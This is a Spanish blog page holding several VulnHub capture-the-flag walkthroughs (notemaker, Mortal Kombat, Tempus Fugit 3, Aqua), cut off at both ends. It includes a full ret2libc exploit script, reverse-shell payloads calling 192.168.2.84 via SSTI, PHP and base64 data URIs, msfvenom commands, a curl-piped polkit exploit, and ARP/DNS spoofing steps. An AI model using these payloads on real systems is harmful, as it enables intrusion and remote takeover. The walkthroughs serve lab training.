que hay que leakear esta dirección. En el payload final hay que añadir además RET para alinear el stack.</div><div><br /></div><div style="text-align: center;">Script exploitnotemaker.py</div><div><br /></div><div><br /></div><div><div style="text-align: justify;"><i>from pwn import *</i></div><div style="text-align: justify;"><i><br /></i></div><div style="text-align: justify;"><i>"""</i></div><div style="text-align: justify;"><i>Descargamos en nuestra máquina el binario vulnerable y la librería libc que utiliza</i></div><div style="text-align: justify;"><i>aquí llamada libsixes</i></div><div style="text-align: justify;"><i>Como la máquina víctima tiene ASLR activado tenemos que calcular primero la dirección</i></div><div style="text-align: justify;"><i>base de la librería, que es distinta cada vez que se ejecuta el binario. Para ello</i></div><div style="text-align: justify;"><i>leakeamos la dirección de PUTS y le restamos el offset, que siempre es el mismo, de </i></div><div style="text-align: justify;"><i>esta función en esa librería.</i></div><div style="text-align: justify;"><i><br /></i></div><div style="text-align: justify;"><i>https://book.hacktricks.xyz/reversing-and-exploiting/linux-exploiting-basic-esp/rop-leaking-libc-address</i></div><div style="text-align: justify;"><i>"""</i></div><div style="text-align: justify;"><i><br /></i></div><div style="text-align: justify;"><i>elf = ELF("./notemaker")</i></div><div style="text-align: justify;"><i>rop = ROP(elf)</i></div><div style="text-align: justify;"><i><br /></i></div><div style="text-align: justify;"><i>func = 'puts'</i></div><div style="text-align: justify;"><i><br /></i></div><div style="text-align: justify;"><i>PUTS_PLT = elf.symbols[func]</i></div><div style="text-align: justify;"><i>MAIN_PLT = elf.symbols['main']</i></div><div style="text-align: justify;"><i>POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0]</i></div><div style="text-align: justify;"><i><br /></i></div><div style="text-align: justify;"><i>log.info("Main start: " + hex(MAIN_PLT))</i></div><div style="text-align: justify;"><i>log.info("Puts plt: " + hex(PUTS_PLT))</i></div><div style="text-align: justify;"><i>log.info("pop rdi; ret gadget: " + hex(POP_RDI))</i></div><div style="text-align: justify;"><i><br /></i></div><div style="text-align: justify;"><i># Este es el junk que desborda</i></div><div style="text-align: justify;"><i>OFFSET = b"A"*280</i></div><div style="text-align: justify;"><i><br /></i></div><div style="text-align: justify;"><i># Como la máquina víctima no tiene gdb lo hacemos en remoto con socat</i></div><div style="text-align: justify;"><i>p=remote("192.168.2.28",9997)</i></div><div style="text-align: justify;"><i>libc = ELF("./libsixes")</i></div><div style="text-align: justify;"><i><br /></i></div><div style="text-align: justify;"><i>def get_addr(func_name):</i></div><div style="text-align: justify;"><i> FUNC_GOT = elf.got[func_name]</i></div><div style="text-align: justify;"><i> rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)</i></div><div style="text-align: justify;"><i><br /></i></div><div style="text-align: justify;"><i> print(p.clean())</i></div><div style="text-align: justify;"><i> p.sendline(rop1)</i></div><div style="text-align: justify;"><i><br /></i></div><div style="text-align: justify;"><i> recieved = p.recvline().strip()</i></div><div style="text-align: justify;"><i> leak = u64(recieved.ljust(8, b"\x00"))</i></div><div style="text-align: justify;"><i><br /></i></div><div style="text-align: justify;"><i> log.info(func_name + " GOT @ " + hex(FUNC_GOT))</i></div><div style="text-align: justify;"><i> log.info("Leaked libc address, "+func_name+": "+ hex(leak))</i></div><div style="text-align: justify;"><i><br /></i></div><div style="text-align: justify;"><i> if libc != "":</i></div><div style="text-align: justify;"><i> libc.address = leak - libc.symbols[func_name]</i></div><div style="text-align: justify;"><i> log.info("libc base @ %s" % hex(libc.address))</i></div><div style="text-align: justify;"><i><br /></i></div><div style="text-align: justify;"><i> return libc.address</i></div><div style="text-align: justify;"><i><br /></i></div><div style="text-align: justify;"><i>libcadd = get_addr(func)</i></div><div style="text-align: justify;"><i><br /></i></div><div style="text-align: justify;"><i># Calculamos ahora las direcciones correctas con el leak de libc</i></div><div style="text-align: justify;"><i><br /></i></div><div style="text-align: justify;"><i>system = libcadd + 0x4f420</i></div><div style="text-align: justify;"><i>pop_rdi = libcadd + 0x2164f</i></div><div style="text-align: justify;"><i>sh = libcadd + 0x1b3d88</i></div><div style="text-align: justify;"><i><br /></i></div><div style="text-align: justify;"><i><br /></i></div><div style="text-align: justify;"><i># Necesitamos añadir RET al payload final para alinear el stack a 16 bytes. Se popean 8 bytes y se regresa</i></div><div style="text-align: justify;"><i># 280 + 32 - 8 = 304 = 16 * 19</i></div><div style="text-align: justify;"><i><br /></i></div><div style="text-align: justify;"><i>ret = (rop.find_gadget(['ret']))[0]</i></div><div style="text-align: justify;"><i><br /></i></div><div style="text-align: justify;"><i>payload = OFFSET + p64(ret) + p64(pop_rdi) + p64(sh) + p64(system) </i></div><div style="text-align: justify;"><i><br /></i></div><div style="text-align: justify;"><i>print(p.recvuntil(b">>"))</i></div><div style="text-align: justify;"><i>p.sendline(payload)</i></div><div style="text-align: justify;"><i>p.interactive()</i></div></div><div><br /></div><div style="text-align: center;">Ejecutamos</div><div><br /></div><div><div style="text-align: justify;"><i>┌──(kali㉿kali)-[~]</i></div><div style="text-align: justify;"><i>└─$ python3 </i>exploitnotemaker<i>.py 22 ⚙</i></div><div style="text-align: justify;"><i>[*] '/home/kali/notemaker'</i></div><div style="text-align: justify;"><i> Arch: amd64-64-little</i></div><div style="text-align: justify;"><i> RELRO: Partial RELRO</i></div><div style="text-align: justify;"><i> Stack: No canary found</i></div><div style="text-align: justify;"><i> NX: NX enabled</i></div><div style="text-align: justify;"><i> PIE: No PIE (0x400000)</i></div><div style="text-align: justify;"><i>[*] Loaded 17 cached gadgets for './notemaker'</i></div><div style="text-align: justify;"><i>[*] Main start: 0x401370</i></div><div style="text-align: justify;"><i>[*] Puts plt: 0x401050</i></div><div style="text-align: justify;"><i>[*] pop rdi; ret gadget: 0x4014eb</i></div><div style="text-align: justify;"><i>[+] Opening connection to 192.168.2.28 on port 9996: Done</i></div><div style="text-align: justify;"><i>[*] '/home/kali/libsixes'</i></div><div style="text-align: justify;"><i> Arch: amd64-64-little</i></div><div style="text-align: justify;"><i>[*] '/home/kali/notemaker'</i></div><div style="text-align: justify;"><i> Arch: amd64-64-little</i></div><div style="text-align: justify;"><i>[*] '/home/kali/notemaker'</i></div><div style="text-align: justify;"><i> Arch: amd64-64-little</i></div><div style="text-align: justify;"><i>[*] '/home/kali/notemaker'</i></div><div style="text-align: justify;"><i>[*] '/home/kali/notemaker'</i></div><div style="text-align: justify;"><i>[*] '/home/kali/notemaker'</i></div><div style="text-align: justify;"><i>[*] '/home/kali/notemaker'</i></div><div style="text-align: justify;"><i>[*] '/home/kali/notemaker'</i></div><div style="text-align: justify;"><i> Arch: amd64-64-little</i></div><div style="text-align: justify;"><i> RELRO: Partial RELRO</i></div><div style="text-align: justify;"><i> Stack: No canary found</i></div><div style="text-align: justify;"><i>[*] '/home/kali/notemaker'</i></div><div style="text-align: justify;"><i> Arch: amd64-64-little</i></div><div style="text-align: justify;"><i> RELRO: Partial RELRO</i></div><div style="text-align: justify;"><i>[*] '/home/kali/notemaker'</i></div><div style="text-align: justify;"><i> Arch: amd64-64-little</i></div><div style="text-align: justify;"><i> RELRO: Partial RELRO</i></div><div style="text-align: justify;"><i> Stack: No canary found</i></div><div style="text-align: justify;"><i> NX: NX enabled</i></div><div style="text-align: justify;"><i> PIE: No PIE (0x400000)</i></div><div style="text-align: justify;"><i>[*] Loaded 17 cached gadgets for './notemaker'</i></div><div style="text-align: justify;"><i>[*] Main start: 0x401370</i></div><div style="text-align: justify;"><i>[*] Puts plt: 0x401050</i></div><div style="text-align: justify;"><i>[*] pop rdi; ret gadget: 0x4014eb</i></div><div style="text-align: justify;"><i>[+] Opening connection to 192.168.2.28 on port 9996: Done</i></div><div style="text-align: justify;"><i>[*] '/home/kali/libsixes'</i></div><div style="text-align: justify;"><i> Arch: amd64-64-little</i></div><div style="text-align: justify;"><i> RELRO: Partial RELRO</i></div><div style="text-align: justify;"><i> Stack: Canary found</i></div><div style="text-align: justify;"><i> NX: NX enabled</i></div><div style="text-align: justify;"><i> PIE: PIE enabled</i></div><div style="text-align: justify;"><i>b".---------------- Simple Note Maker v1.0 ----------------.\n| |\n| Use this program to leave me some notes, and I'll |\n| check them when I'm free! |\n| (Because I'm a busy webmaster, hehe) |\n| Also, keep your notes below 256 bytes so I can easily |\n| Read them :) |\n| - 0x000c0ded, your webmaster. |\n`--------------------------------------------------------'\nStart typing >> "</i></div><div style="text-align: justify;"><i>[*] puts GOT @ 0x404028</i></div><div style="text-align: justify;"><i>[*] Leaked libc address, puts: 0x7f7d65bd3970</i></div><div style="text-align: justify;"><i>[*] <b>libc base @ 0x7f7d65b53000</b></i></div><div style="text-align: justify;"><i>b".---------------- Simple Note Maker v1.0 ----------------.\n| |\n| Use this program to leave me some notes, and I'll |\n| check them when I'm free! |\n| (Because I'm a busy webmaster, hehe) |\n| Also, keep your notes below 256 bytes so I can easily |\n| Read them :) |\n| - 0x000c0ded, your webmaster. |\n`--------------------------------------------------------'\nStart typing >>"</i></div><div style="text-align: justify;"><i><b>[*] Switching to interactive mode</b></i></div><div style="text-align: justify;"><i><b> $ id</b></i></div><div style="text-align: justify;"><i><b>uid=1000(webmaster) gid=1000(webmaster) groups=1000(webmaster),33(www-data)</b></i></div><div style="text-align: justify;"><i><b>$ sudo -l</b></i></div><div style="text-align: justify;"><i><b>Matching Defaults entries for webmaster on sixes:</b></i></div><div style="text-align: justify;"><i><b> env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin</b></i></div><div style="text-align: justify;"><i><b><br /></b></i></div><div style="text-align: justify;"><i><b>User webmaster may run the following commands on sixes:</b></i></div><div style="text-align: justify;"><i><b> (root) NOPASSWD: /usr/sbin/service</b></i></div><div style="text-align: justify;"><i><b>$ sudo service ../../bin/sh</b></i></div><div style="text-align: justify;"><i><b>$ id</b></i></div><div style="text-align: justify;"><i><b>uid=0(root) gid=0(root) groups=0(root)</b></i></div><div style="text-align: justify;"><i><b>$ </b></i></div></div><span style="font-size: 18px;"><br /></span></span></div><p style="box-sizing: border-box; margin: 0px 0px 1rem;"></p></div>josehttp://www.blogger.com/profile/07240396942621664293noreply@blogger.com0tag:blogger.com,1999:blog-7497320377221458624.post-8110226625388585592022-11-05T09:55:00.004-07:002022-11-05T10:02:59.318-07:00vulnhub walkthrough MORTAL KOMBAT: 1: ARP poison routing + dns spoofing, ssrf hash-length attack<p> https://www.vulnhub.com/entry/mortal-kombat-1,383/</p><p><span face=""open sans", sans-serif" style="background-color: #f7f8fb; color: #333333; font-size: 18px;">You'll need to master and chain together multiple vulnerabilities</span></p><p>1. Se nos presenta lo siguiente</p><h2>Curl test page</h2><h2><a href="http://192.168.2.24/adminArea.php">admin area</a> (works only if localhost)<br /><a href="http://192.168.2.24/index.php?url=http://google.com">test page</a></h2><div><br /></div><div>testpage:</div><div><br /></div><div style="text-align: center;">http://192.168.2.24/index.php?url=http://google.com</div><div><br /></div><div>Probamos lfi</div><div><br /></div><div style="text-align: center;">http://192.168.2.24/index.php?url=http://127.0.0.1/adminArea.php</div><p style="text-align: center;"><i><b>you can only render page from google.com domain</b></i></p><p style="text-align: center;"><br /></p><p>2. Tenemos que spoofear la petición dns de la máquina virtual haciéndole creer que "google.com" es 127.0.0.1 para poder acceder a adminArea.php. </p><p><br /></p><p>en kali usar <b>ettercap</b></p><p>- configurar etc/ettercap/etter.dns</p><p>google.com A 127.0.0.1</p><p>- Arrancar y hacer <b>mitm arp poisoning</b> seleccionando target1 la víctima y target2 el router</p><p>- Activar <b>dns spoofing</b></p><p><b><br /></b></p><p>3. Accedemos a adminArea.php con Burp</p><div style="text-align: left;"><i><!--<br />After the PT @Bytevsbyt3 told me that my page was really unsecure. He told me<br />that he pwn the server via RFI with ?file=http://evil.com/rfi.txt<br />I read about this vulnerability and now i fixed it. Now it's secure and I'm<br />pretty proud of myself and my code:).<br />I leave the fixed code in the source, in such way you can read about a good fix from here ;)<br />Before(vuln code!!!):<br />if(isset($_GET['file']) {<br /> $file = $_GET['file'];<br /> include($file);<br /> .<br /> .<br /> .<br /> .<br />Now(fixed code):<br />if(isset($_GET['file']) && isset($_GET['hash'])) {<br /> $file = $_GET['file'];<br /> <b>if (sha1($secret.$file) === $_GET['hash'])</b> {//preventing filename tampering<br /> $file = basename($file);//eliminate path travrsal and other shitty attack :D<br /> include($file);<br /> }<br /> .<br /> .<br /> .<br /> --><br /></body><br /><h2>Read file page</h2><br /> in pure <b>php</b><br /> <form id="myForm" ><br /> <b> <input type="text" name="file" value="robots.txt"><br /> <input name="hash" value="e41b733f1d0c914cd72681ce93ea20c4ce6b6fed"></b><br /> <input type="submit"><br /> </form><br /></html></i></div><p style="text-align: left;">- Vemos el contenido y se trata de un <b>hash length extension attack</b>. Usamos <b>hashpump</b>. Se trataría de probar incrementando la longitud del secret hasta que funcione. Finalmente es 42.</p><p style="text-align: left;"><br /></p><div style="text-align: left;"><i>~/vuln/mortalkombat/hash_extender$ <b>hashpump</b><br /></i><i>Input Signature: e41b733f1d0c914cd72681ce93ea20c4ce6b6fed<br /></i><i>Input Data: robots.txt<br /></i><i>Input Key Length: 42<br /></i><i>Input Data to Add: /data:;base64,PD9waHAgc3lzdGVtKCIvYmluL2Jhc2ggLWMgJ2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4yLjg0LzEyMzQgMD4mMSciKTsgPz4=<br /></i><i>19d7d8f548b3986d59c1510a8a8a31a31cbbdb6a<br /></i><i>robots.txt\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xa0/data:;base64,PD9waHAgc3lzdGVtKCIvYmluL2Jhc2ggLWMgJ2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4yLjg0LzEyMzQgMD4mMSciKTsgPz4=</i></div><div style="text-align: left;"><i><br /></i></div><p style="text-align: left;">Como payload se envía un shell reverse</p><p style="text-align: left;">En Burp:</p><p><i><b>GET /index.php?url=http%3a//google.com/adminArea.php%3ffile%3drobots.txt%2580%2500%2500%2500%2500%2500%2500%2500%2500%2500%2501%25a0/data%253a%253bbase64,PD9waHAgc3lzdGVtKCIvYmluL2Jhc2ggLWMgJ2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4yLjg0LzEyMzQgMD4mMSciKTsgPz4=%26hash%3d19d7d8f548b3986d59c1510a8a8a31a31cbbdb6a HTTP/1.1</b></i></p><p>- Accedemos. Para rootear hay que hacer overflow en opt agenda. Pero también es vulnerable a polkit.</p><p><b><i>eval "$(curl -s https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/cve-2021-4034.sh)"</i></b></p>josehttp://www.blogger.com/profile/07240396942621664293noreply@blogger.com0tag:blogger.com,1999:blog-7497320377221458624.post-56007528747596842802022-11-01T14:33:00.003-07:002022-11-01T14:43:45.380-07:00TEMPUS FUGIT: 3: ssti, sqlcipher, proxychains, sftp, pyotp<p>Máquina muy recomendable.</p><p style="box-sizing: border-box; color: #333333; font-family: "open sans", sans-serif; font-size: 18px; margin: 0px 0px 1rem;">This is an hard, real life box, created by @4nqr34z and @theart42 to be used as a CTF challenge on Bsides Newcastle 23. november 2019 and released on Vulnhub the same day.</p><p style="box-sizing: border-box; color: #333333; font-family: "open sans", sans-serif; font-size: 18px; margin: 0px 0px 1rem;">In Tempus Fugit 3, the idea is still, like in the first two challenges; to create something “out of the ordinary”.</p><p style="box-sizing: border-box; color: #333333; font-family: "open sans", sans-serif; font-size: 18px; margin: 0px 0px 1rem;">Aprendizaje avanzado. No pongo las flags.</p><p>1. Se trata de un </p><div class="header-name" style="background-color: white; box-sizing: border-box; color: var(--color-text-secondary); display: inline-block; font-family: "Segoe UI", Tahoma, sans-serif; font-size: 12px; font-weight: 700; margin-right: 0.25em; min-height: 0px; min-width: 0px; vertical-align: top; white-space: pre-wrap;">Server: </div><span face="var(--source-code-font-family)" style="background-color: white; color: #202124; font-size: 12px; white-space: pre-wrap;">nginx/1.14.2</span><div><br /></div><div>Después de fuzzear un poco probamos <b>inyección ssti</b> y funciona<p style="text-align: center;"><b>http://tf3/{{7*7}}</b></p><p>antes de que redirija observamos que muestra un <i><b>not found tf3/49</b></i></p><p>Por lo tanto <b>ssti attack reverse</b> </p><p>con burp inyectamos </p><p><br /></p><p><i><b>GET /{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.2.84\",9990));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);pty.spawn(\"/bin/bash\");'")}}{%endif%}{% endfor %}</b></i></p><p><i><b><br /></b></i></p><p>urlencodeado</p><p><b>www-data@TF3:/srv/flask_app$ </b></p><p>2. una vez dentro vemos que en static está la base de datos de conexión: <b><i>db2.db</i></b>, cifrada. Del <i><b>app.py</b></i> sacamos la clave para descifrarla</p><p style="text-align: center;"><b>app = Flask(__name__)</b></p><p style="text-align: center;"><b>app.secret_key = 'RmxhZzF7IEltcG9ydGFudCBmaW5kaW5ncyB9'</b></p><p style="text-align: center;"><b>pra = "pragma key='SecretssecretsSecrets...'"</b></p><p>con <b>sqlcipher</b></p><p><b><br /></b></p><p><i><b>sqlcipher db2.db </b></i></p><p><i><b>sqlite> PRAGMA key = 'SecretssecretsSecrets...'; </b></i></p><p><i><b>sqlite> ATTACH DATABASE 'plaintext.db' AS plaintext KEY ''; </b></i></p><p><i><b>sqlite> SELECT sqlcipher_export('plaintext'); </b></i></p><p><i><b>sqlite> DETACH DATABASE plaintext; </b></i></p><p>salimos y con dbbrowser leemos los usuarios y contraseñas. Entramos via web con los 3 y nos aparece </p><p style="text-align: center;"><b>48507</b></p><p>Puede ser un puerto.</p><p>3. cat /etc/hosts</p><p>127.0.0.1 localhost</p><p>::1 localhost ip6-localhost ip6-loopback</p><p>fe00::0 ip6-localnet</p><p>ff00::0 ip6-mcastprefix</p><p>ff02::1 ip6-allnodes</p><p>ff02::2 ip6-allrouters</p><p><b>192.168.100.100 TF3 (estamos aquí)</b></p><p><br /></p><p>luego estamos en una <b>subnet</b>. Con msfvenom creamos un shell reverse y lo subimos</p><p><br /></p><p><b>msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.2.84 LPORT=4445 -f elf > shell.elf</b></p><p><br /></p><p>desde la víctima usamos</p><p><br /></p><p><b>scp kali@192.168.2.84:/shell.elf .</b></p><p><br /></p><p>Vamos a acceder a toda la subnet </p><p><br /></p><p><b>msfconsole y use exploit/multi/handler</b></p><p><b>set payload linux/x64/meterpreter/reverse_tcp</b></p><p><br /></p><p>y en options los valores con los que hemos creado el shell.elf</p><p><b>run</b></p><p>en meterpreter </p><p><b>run autoroute -s 192.168.100.0/24</b></p><p><b>run autoroute -p</b></p><p><b>bg</b></p><p><b>use auxiliary/server/socks_proxy</b></p><p><b>exploit</b></p><p><br /></p><p>tenemos entonces en 127.0.0.1:1080 acceso a la subnet, usar <b>proxychains </b></p><p> </p><p>4. <b>escaneamos la subnet</b> y nos da aparte de 192.168.100.100 (en el que estamos) 192.168.100.1. Escaneamos a fondo ambos y encontramos abierto el <b>443 en 100.1</b></p><p><br /></p><p>Lo redirijimos desde la víctima a nuestro kali para un acceso más rápido (podríamos acceder con proxychains firefox 192.168.100.1:443)</p><p><br /></p><p><b>ssh -N -R 192.168.2.84:18000:192.168.100.1:443 kali@192.168.2.84</b></p><p><br /></p><p>En home encontramos</p><p><br /></p><p><i>Tempus Fugit</i></p><p><i>Why a new site, again..?</i></p><p><i>We have now been hacked 2 times! Both times because we have hired consultants with limited expertise, setting up our systems.</i></p><p><i>This time, we are doing it all ourself! Learning as we go. I, Anita Handjaab and Clee Torres have used hours, days and weeks of our free time, really getting our hands dirty, in getting things up!</i></p><p><i>All under my (Hugh Janus) supervision.</i></p><p><i>The fact, that we now also are capable setting up servers and webservices, will give us a great competitive advantage!!</i></p><p><i>About this site</i></p><p><i>To save time, we decided not to reinstall the server. We just deleted the old websites, to be sure thehackers didn't leave anything behind. What could go wrong, right?</i></p><p><i>Nothing much here yet. Just finished basic functionallity. But this minimal profile will a good place to start adding our content. We will use one of our own amazing templates designed by Clee Torres, when we have figured out how to convert them from Wordpress:-)</i></p><p><br /></p><p>y en customers</p><p><br /></p><p><i>Customers</i></p><p><i>Customer upload.</i></p><p><i>Anita came up with a great idea!</i></p><p><i>We could let customers upload their material directly to us over secure SFTP. I am working on a script; "addcustomers" that will make it easy for everyone of us to create customer accounts.</i></p><p><br /></p><p>Es un cms llamado <b>processwire</b>. Accedemos en login con admin y la credencial de janus antes encontrada. </p><p><br /></p><p>5. Podemos instalar <b>módulos</b>. Probamos a buscar en la página oficial y encontramos un file manager</p><p><br /></p><p><b>https://processwire.com/modules/process-file-manager/</b></p><p><br /></p><p>Lo instalamos y subimos a la carpeta wire el shell reverse en php</p><p><br /></p><p><b><?php system("bash -c 'bash -i >& /dev/tcp/192.168.2.84/9990 0>&1'");?></b></p><p><br /></p><p>Lo abrimos y dentro</p><p><br /></p><p><b>www-data@TF3:/var/www/html/wire$ (estamos ahora en 100.1)</b></p><p><br /></p><p>En home tenemos</p><p><br /></p><p>alanna</p><p>bendite</p><p>bhanu</p><p>brig</p><p>design</p><p>franni</p><p>hamid</p><p>hephzibah</p><p>larissa</p><p>melisande</p><p>pritchard</p><p>selime</p><p>shirley-ann</p><p>tres</p><p>wai-bun</p><p><br /></p><p>Aquí <b>encontramos abierto el puerto 48507!. Puede ser el sftp de anita. Probamos con las credenciales de shirley-ann (suponemos que es anita)</b></p><p><br /></p><p><b>sftp -P 48507 shirley-ann@192.168.100.1</b></p><p><br /></p><p>pero nos pide un <b>verification code</b></p><p><br /></p><p>6. en /var/backups encontramos <b>shirley-ann.png</b>. Es un qrcode: </p><p><br /></p><p><b>otpauth://totp/shirley-ann@TF3?secret=76RA4HDNUVXN2ZD7TWAGJUHG2Q&issuer=TF3</b></p><p><br /></p><p>Con python sacamos el otp para acceder sftp</p><p> (desde nuestra máquina)</p><p><br /></p><p><b>import pyotp</b></p><p><b>totp = pyotp.TOTP('76RA4HDNUVXN2ZD7TWAGJUHG2Q')</b></p><p><b>print(totp.now())</b></p><p><br /></p><p><i>www-data@TF3:/home$ sftp -P 48507 shirley-ann@192.168.100.1</i></p><p><i>Could not create directory '/var/www/.ssh'.</i></p><p><i>The authenticity of host '[192.168.100.1]:48507 ([192.168.100.1]:48507)' can't be established.</i></p><p><i>ECDSA key fingerprint is SHA256:6vcZIevy76FqXz5FeCRL/lGxOVTxHQi9SgUs1iWU2UQ.</i></p><p><i>Are you sure you want to continue connecting (yes/no)? yes</i></p><p><i>Failed to add the host to the list of known hosts (/var/www/.ssh/known_hosts).</i></p><p><i>Verification code: </i></p><p><i>Connected to shirley-ann@192.168.100.1.</i></p><p><i>sftp> </i></p><p><br /></p><p>Es el <b>home de anita</b>. Sacamos la clave id_rsa a temp, salimos y entramos por ssh</p><p><br /></p><p><i>www-data@TF3:/tmp$ ssh -i id_rsa shirley-ann@192.168.100.1 -p 48507</i></p><p><i>Could not create directory '/var/www/.ssh'.</i></p><p><i>The authenticity of host '[192.168.100.1]:48507 ([192.168.100.1]:48507)' can't be established.</i></p><p><i>ECDSA key fingerprint is SHA256:6vcZIevy76FqXz5FeCRL/lGxOVTxHQi9SgUs1iWU2UQ.</i></p><p><i>Are you sure you want to continue connecting (yes/no)? yes</i></p><p><i>Failed to add the host to the list of known hosts (/var/www/.ssh/known_hosts).</i></p><p><i>Linux TF3 4.19.0-6-amd64 #1 SMP Debian 4.19.67-2+deb10u1 (2019-09-20) x86_64</i></p><p><i><br /></i></p><p><i>The programs included with the Debian GNU/Linux system are free software;</i></p><p><i>the exact distribution terms for each program are described in the</i></p><p><i>individual files in /usr/share/doc/*/copyright.</i></p><p><i><br /></i></p><p><i>Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent</i></p><p><i>permitted by applicable law.</i></p><p><i>You have mail.</i></p><p><i>Last login: Tue Nov 1 19:05:38 2022 from 192.168.2.104</i></p><p><i>shirley-ann@TF3:~$</i> </p><p><br /></p><p>7. Tenemos </p><p><br /></p><p><i><b>User shirley-ann may run the following commands on TF3:</b></i></p><p><i><b> (ALL) NOPASSWD: /root/scripts/addcustomer</b></i></p><p><br /></p><p>con el que ahora no sabemos qué hacer. Buscamos suid</p><p><br /></p><p>find / -perm -4000 2>/dev/null</p><p><br /></p><p>y encontramos <b>ping</b>. Parece modificado así que lo bajamos y decompilamos con ghidra.</p><p><br /></p><p> <i>case 0x70:</i></p><p><i> options = options | 8;</i></p><p><i> fill(local_28,optarg);</i></p><p><i> __isoc99_sscanf(optarg,&DAT_001050c2,&magic);</i></p><p><i> <b> if ((magic == 0xdeadbeef) && (_Var1 = getuid(), _Var1 == 0x3f2))</b> {</i></p><p><i> puts("Enjoy your root-shell h4x0r!");</i></p><p><i> <b>getchar();</b></i></p><p><i><b> setuid(0);</b></i></p><p><i><b> system("/bin/sh");</b></i></p><p><i> return 0;</i></p><p><i> }</i></p><p><i><span style="white-space: pre;"> </span> </i></p><p>Podemos acceder a root con este ping si lo ejecutamos desde el usuario 0x3f2, uid 1010, pero somos</p><p><br /></p><p><i>shirley-ann@TF3:~$ id </i></p><p><i>uid=1005(shirley-ann) gid=1005(shirley-ann) groups=1005(shirley-ann) </i></p><p><br /></p><p>8. Buscando más encontramos en el raiz </p><p><br /></p><p><b>-rwx------ 1 1337 1337 1.8K Nov 1 10:10 ...</b></p><p><br /></p><p>Es un archivo perteneciente al user 1337 que no existe. Luego aquí podemos usar el addcustomer con uid 1337, accediendo luego</p><div style="background-color: white; box-sizing: border-box; color: #707070; font-weight: 500; line-height: 1.2; margin: 0px 0px 20px; text-align: left; text-transform: uppercase;"><span style="font-family: courier;"><span style="background-color: transparent;"><br /></span><span style="background-color: transparent;"><i>uid=1337(hacker) gid=1005(shirley-ann) groups=1005(shirley-ann)</i></span></span></div><p>Accedemos al contenido de /... con cat y es una clave id_rsa. Probamos uno a uno los users y acaba siendo <b>larissa</b></p><p><br /></p><p><b>ssh -p 48507 -i irsa larissa@192.168.100.1</b></p><p><br /></p><p>y <b>larissa es uid 1010</b></p><p><br /></p><p><i>larissa@TF3:~$ id</i></p><p><i>uid=1010(larissa) gid=1010(larissa) groups=1010(larissa)</i></p><p><br /></p><p>Ejecutamos <b>ping </b>con la información antes obtenida</p><p><br /></p><p><i><b>larissa@TF3:~$ ping -p deadbeef</b></i></p><p><i><b>PATTERN: 0xdeadbeef</b></i></p><p><i><b>Enjoy your root-shell h4x0r!</b></i></p><p><i><b>id</b></i></p><p><i><b># id</b></i></p><p><i><b>uid=0(root) gid=1010(larissa) groups=1010(larissa)</b></i></p><p><i><b># </b></i></p></div>josehttp://www.blogger.com/profile/07240396942621664293noreply@blogger.com0tag:blogger.com,1999:blog-7497320377221458624.post-29436508930261528732022-10-28T02:17:00.002-07:002022-10-28T02:17:28.853-07:00AQUA: 1 lfi, port knocking, BOF ret2lib<p> </p><p>https://www.vulnhub.com/entry/aqua-1,419/</p><p>Pantalla inicial:</p><p><strong style="text-align: justify;">Help me! My computer has been hacked by Megumin and I have lost access to my computer password! If you help me, I'll tell everything about Megumin so you can help me to hack her back. Please?? ...</strong></p><p>1. Pulsamos en yes y nos da unas <b>credenciales de megumin</b> que no sabemos cómo usarlas. Tenemos dos posibilidades: por el puerto ftp que está filtrado o por alguna página de login oculta. </p><p>2. Usando un fuzzer encontramos login.php y accedemos al diario secreto de megumin en home.php. Tenemos lfi</p><p><b>/home.php?showcase=../../../../etc/passwd</b></p><p>3. A partir de aquí hay que ir revisando archivos de configuración o buscar en el home. El hecho de que el puerto ftp aparezca filtrado nos indica la posibilidad de un port knocking. El archivo donde mirar es <b>../../../../../etc/knockd.conf</b></p><table style="color: black;"><tbody><tr><td class="line-content"><i>[FTP]</i></td></tr><tr><td class="line-number" value="22"></td><td class="line-content"><i>sequence = 1234:tcp,5678:tcp,9012:tcp</i></td></tr></tbody></table><br />4. Activamos<div><br /></div><div><b><i>knock ip 1234:tcp 5678:tcp 9012:tcp</i></b></div><div><br /></div><div>y comprobamos que ftp se activa con nmap. Entramos en ftp con las credenciales de megumin.</div><div><br /></div><div>5. No hay ningún archivo en el ftp pero podemos escribir. La idea ahora es subir un shell reverse que podamos activar en web, y para eso hay que encontrar el directorio donde se guardan los archivos para ejecutar el shell con el lfi de home.php.</div><div><br /></div><div>Con el fuzzer encontramos además el directorio deployment que dentro contiene <b>production</b>.</div><div><br /></div><div>Subimos como prueba un test.txt por el ftp y vamos mirando en los distintos directorios web encontrados hasta que aparece en production.</div><div><br /></div><div>Subimos el<b> shell.php</b></div><div><br /></div><div><i><?php system("bash -c 'bash -i >& /dev/tcp/192.168.2.84/9999 0>&1'");?></i></div><div><br /></div><div>y accedemos a él vía web habiendo abierto la ventana reverse previamente.</div><div><br /></div><div>6. Una vez dentro como usuario apache probamos su megumin con la password de inicio y funciona. Con sudo -l</div><div><br /></div><div><div><i><b>User megumin may run the following commands on aqua:</b></i></div><div><i><b> (ALL) NOPASSWD: /home/aqua/Desktop/backdoor</b></i></div></div><div><br /></div><div>Miramos</div><div><br /></div><div><div><i>megumin@aqua:/home/aqua/Desktop$ cat backdoor</i></div><div><i>#!/bin/bash</i></div><div><i><br /></i></div><div><i>echo "[+] Backdoor opened! Hehehe..."</i></div><div><i><br /></i></div><div><i><b>runuser -l aqua -c 'nc -lvnp 1337 -e /bin/sh' &>/dev/null</b></i></div></div><div><i><br /></i></div><div>7. Ejecutamos el backdoor y entrando por otra ventana hacemos</div><div><br /></div><div><i><b>nc 127.0.0.1 